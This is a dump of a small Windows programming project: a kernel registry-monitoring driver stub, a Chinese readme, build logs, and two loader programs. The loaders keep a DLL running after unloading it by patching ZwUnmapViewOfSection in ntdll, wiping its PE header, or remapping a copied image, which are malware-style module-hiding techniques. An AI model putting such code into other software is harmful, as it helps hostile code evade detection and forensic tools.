	CmSt=CmRegisterCallback(RegistryCallback,NULL,&CmHandle);
	if(NT_SUCCESS(CmSt))
		DbgPrint("CmRegisterCallback SUCCESS!");
	else
		DbgPrint("CmRegisterCallback Failed!");
	return STATUS_SUCCESS;
}






bin/说明.txt

CmRegMonitor_for_xp.sys：禁止新建键值和项。【仅支持XP X86】
CmRegMonitor_x64.sys：禁止了新建项、删除项、新建键值、删除键值以及重命名项，并在DBGVIEW里打印出相关的信息。【支持WIN7 X64和WIN8 X64】

还不懂怎么样在WIN64下玩驱动？参考这里：http://www.m5home.com/bbs/thread-5893-1-1.html






src/nt6x64/buildfre_win7_amd64.log

BUILD: corrupt database (Directory error)
BUILD: Computing Include file dependencies:
BUILD: Examining d:\programming\oacr invalidate root:amd64fre /autocleanqueue
1>Compiling and Linking d:\programming\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='
1>d:\programming\1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrcl @d:\programming\1>Microsoft (R) C/C++ Optimizing Compiler Version 15.00.30729.207 for x64
1>Copyright (C) Microsoft Corporation.  All rights reserved.
1>cl /Fo"d:\programming\1> /FC
1> /Iamd64\
1> /I.
1> /I.
1> /Id:\programming\1> /IC:\WinDDK\7600.16385.1\inc\api
1> /IC:\WinDDK\7600.16385.1\inc\api
1> /IC:\WinDDK\7600.16385.1\inc\ddk
1> /IC:\WinDDK\7600.16385.1\inc\ddk
1> /IC:\WinDDK\7600.16385.1\inc\crt
1> /D_WIN64
1> /D_AMD64_
1> /DAMD64
1> /DCONDITION_HANDLING=1
1> /DNT_UP=1
1> /DNT_INST=0
1> /DWIN32=100
1> /D_NT1X_=100
1> /DWINNT=1
1> /D_WIN32_WINNT=0x0601
1> /DWINVER=0x0601
1> /D_WIN32_IE=0x0800
1> /DWIN32_LEAN_AND_MEAN=1
1> /DDEVL=1
1> /D__BUILDMACHINE__=WinDDK
1> /DNDEBUG
1> /D_DLL=1
1> /DNDEBUG
1> /DNTDDI_VERSION=0x06010000
1> /c
1> /Zc:wchar_t-
1> /Zl
1> /Zp8
1> /Gy
1> -cbstring
1> /W3
1> /WX
1> /EHs-c-
1> /GR-
1> /GF
1> /GS
1> /Zi
1> /Oxs
1> /GL
1> /Zi
1> /Fdd:\programming\1> /DKMDF_MAJOR_VERSION_STRING=01
1> /DKMDF_MINOR_VERSION_STRING=009
1> /typedil-
1> /wd4603
1> /wd4627
1> /FIC:\WinDDK\7600.16385.1\inc\api\warning.h
1> .\mydriver.c 
1>mydriver.c
1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrlink /out:d:\programming\1>Microsoft (R) Incremental Linker Version 9.00.30729.207
1>Copyright (C) Microsoft Corporation.  All rights reserved.
1>/MERGE:_PAGE=PAGE 
1>/MERGE:_TEXT=.text 
1>/SECTION:INIT,d 
1>/OPT:REF 
1>/OPT:ICF 
1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 
1>/INCREMENTAL:NO 
1>/release 
1>/NODEFAULTLIB 
1>/WX 
1>/debug 
1>/debugtype:cv,fixup,pdata 
1>/version:6.1 
1>/osversion:6.1 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 
1>/functionpadmin:6 
1>/pdbcompress 
1>/STACK:0x40000,0x1000 
1>/driver 
1>/base:0x10000 
1>/subsystem:native,6.01 
1>/entry:GsDriverEntry 
1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 
1>mydriver.obj : MSIL .netmodule or module compiled with /GL found; restarting link with /LTCG; add /LTCG to the link command line to improve linker performance
1>Microsoft (R) Incremental Linker Version 9.00.30729.207
1>Copyright (C) Microsoft Corporation.  All rights reserved.
1>/MERGE:_PAGE=PAGE 
1>/MERGE:_TEXT=.text 
1>/SECTION:INIT,d 
1>/OPT:REF 
1>/OPT:ICF 
1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 
1>/INCREMENTAL:NO 
1>/release 
1>/NODEFAULTLIB 
1>/WX 
1>/debug 
1>/debugtype:cv,fixup,pdata 
1>/version:6.1 
1>/osversion:6.1 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 
1>/functionpadmin:6 
1>/pdbcompress 
1>/STACK:0x40000,0x1000 
1>/driver 
1>/base:0x10000 
1>/subsystem:native,6.01 
1>/entry:GsDriverEntry 
1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 
1>Generating code
1>Finished generating code







src/nt5x86/buildfre_win7_x86.log

BUILD: corrupt database (Directory error)
BUILD: Computing Include file dependencies:
BUILD: Examining d:\programming\oacr invalidate root:x86fre /autocleanqueue
1>Compiling and Linking d:\programming\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='
1>d:\programming\1> C:\WinDDK\7600.16385.1\Bin\x86\oacr\oacrlink /out:d:\programming\1>Microsoft (R) Incremental Linker Version 9.00.30729.207
1>Copyright (C) Microsoft Corporation.  All rights reserved.
1>/MERGE:_PAGE=PAGE 
1>/MERGE:_TEXT=.text 
1>/SECTION:INIT,d 
1>/OPT:REF 
1>/OPT:ICF 
1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221 
1>/INCREMENTAL:NO 
1>/release 
1>/NODEFAULTLIB 
1>/WX 
1>/debug 
1>/debugtype:cv,fixup,pdata 
1>/version:6.1 
1>/osversion:6.1 
1>/functionpadmin:5 
1>/safeseh 
1>/pdbcompress 
1>/STACK:0x40000,0x1000 
1>/driver 
1>/base:0x10000 
1>/subsystem:native,6.01 
1>/entry:GsDriverEntry@8 
1>/out:d:\programming\1>d:\programming\1>C:\WinDDK\7600.16385.1\lib\win7\i386\BufferOverflowK.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\i386\ntoskrnl.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\i386\hal.lib 
1>C:\WinDDK\7600.16385.1\lib\win7\i386\wmilib.lib 







bin/CmRegMonitor_for_xp.sys





bin/CmRegMonitor_x64.sys






思路一/myloader.cpp

#include <WINDOWS.H>
#include <STDIO.H>
typedef void(* tstFunc)(void);
main()
{
	//load to mem
	HMODULE hdll = LoadLibrary("tstDll.dll");

	//test,1st time
	tstFunc func = (tstFunc)GetProcAddress(hdll, "tstFunc");
	func();

	//say goodbye to my dear Dll
	DWORD *dwZwAdrr = (DWORD *)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection");
	DWORD oldZwCode = *dwZwAdrr;
	DWORD dwOldProtect;
	VirtualProtect(dwZwAdrr, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	*dwZwAdrr = 0x900008C2;
	FreeLibrary(hdll);

	//now should recover the syscall 
	*dwZwAdrr = oldZwCode;
	VirtualProtect(dwZwAdrr, 1, dwOldProtect, &dwOldProtect);

	//f*ck the PE header
	DWORD dwSize = sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS);
	VirtualProtect(hdll, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	memset(hdll, 0, dwSize);

	//all done,test againt
	func();
}






思路二/myloaderII.cpp

#include <WINDOWS.H>
#include <STDIO.H>
typedef void(* tstFunc)(void);
main()
{
	//load to mem
	HMODULE hdll = LoadLibrary("tstDll.dll");

	//test,1st time
	tstFunc func = (tstFunc)GetProcAddress(hdll, "tstFunc");
	func();

	//copy image 2 mem_buffer
	DWORD *dwZwAdrr = (DWORD *)GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection");
	DWORD oldZwCode = *dwZwAdrr;
	DWORD dwOldProtect;
	VirtualProtect(dwZwAdrr, 1, PAGE_EXECUTE_READWRITE, &dwOldProtect);
	
	IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)hdll;
	IMAGE_NT_HEADERS *ntHerders = (IMAGE_NT_HEADERS *)((DWORD)hdll + dosHeader->e_lfanew);
	DWORD dwImageSize = ntHerders->OptionalHeader.SizeOfImage;

	DWORD *dwMBuff = (DWORD *)VirtualAlloc(NULL, dwImageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(dwMBuff, hdll, dwImageSize);
	
	//now free it
	FreeLibrary(hdll);

	//Dll is going home 
	VirtualAlloc(hdll, dwImageSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(hdll, dwMBuff, dwImageSize);

	//all done,test againt
	func();
}






思路一/tstDll.dll





思路二/tstDll.dll





